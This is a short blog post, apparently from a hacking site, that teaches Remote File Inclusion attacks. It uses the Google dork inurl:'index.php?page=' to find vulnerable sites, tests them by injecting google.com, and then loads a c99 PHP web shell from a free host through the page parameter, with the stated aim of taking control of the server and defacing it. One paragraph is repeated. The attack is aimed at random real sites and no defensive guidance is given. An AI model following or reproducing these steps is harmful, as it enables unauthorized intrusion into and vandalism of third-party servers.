A Remote File
Inclusion vulnerability is where we trick the web server in to putting
our file (file uploader / php shell) in to the web page. It then parses our PHP
script and we then have full control over the server. The exploit works because
when a website calls another page to be displayed except, we edit the url so
that the website thinks our shell is the page to display.
Normally, I’m against stuff like this. I believe people should find their own vulnerable sites. But, for the sake of this paper, i will show you how we can use google to get us vulnerable sites.
We will query google like so:
Normally, I’m against stuff like this. I believe people should find their own vulnerable sites. But, for the sake of this paper, i will show you how we can use google to get us vulnerable sites.
We will query google like so:
inurl:"index.php?page="
This query asks google to give us any page with index.php?page= in the url. If we look at it, we can see that ‘page’ is calling up whatever is after the equals sign. This is where the actual exploit lies. A good test to see if a website is actually vulnerable is to enter
http://www.google.com after the equal sign.
It is not necessary that every site will work look above statement….Only those will redirect to google,which having the security holes…
If the full google.com website appears on the page, the websiteis vulnerable. If not, keep looking. To exploit the vulnerability we must first look at the following example of a RFI:
this is an example
only,There is no such sites or file….
www.example.com/index.php?page=www.hostsite.com/shell.txt?
1. Get a free host website (like ByetHost or free webs)
2. Put a PHP shell (c99) in text form on the site
3. Insert the path to the shell in the vulnerable hosts URL, like the example above.
4.You can then proceed to deface the site etc.
Kindly Share this Post using your favorite Bookmarking service:
This post was written by:
I am Boopathi. I'am currently perusing his bachelor’s degree in Electronic and Communication engineering and is working as and information security consultant and web designer. An ethical hacker and a freelance web designer is famous for his website Hacking Track which is for security field.I Love to spend time on Internet and researching on Hacking field and corporate security technologies and it’s my passionate too. Read more..
Get Free Email Updates to your Inbox!
0 comments:
Post a Comment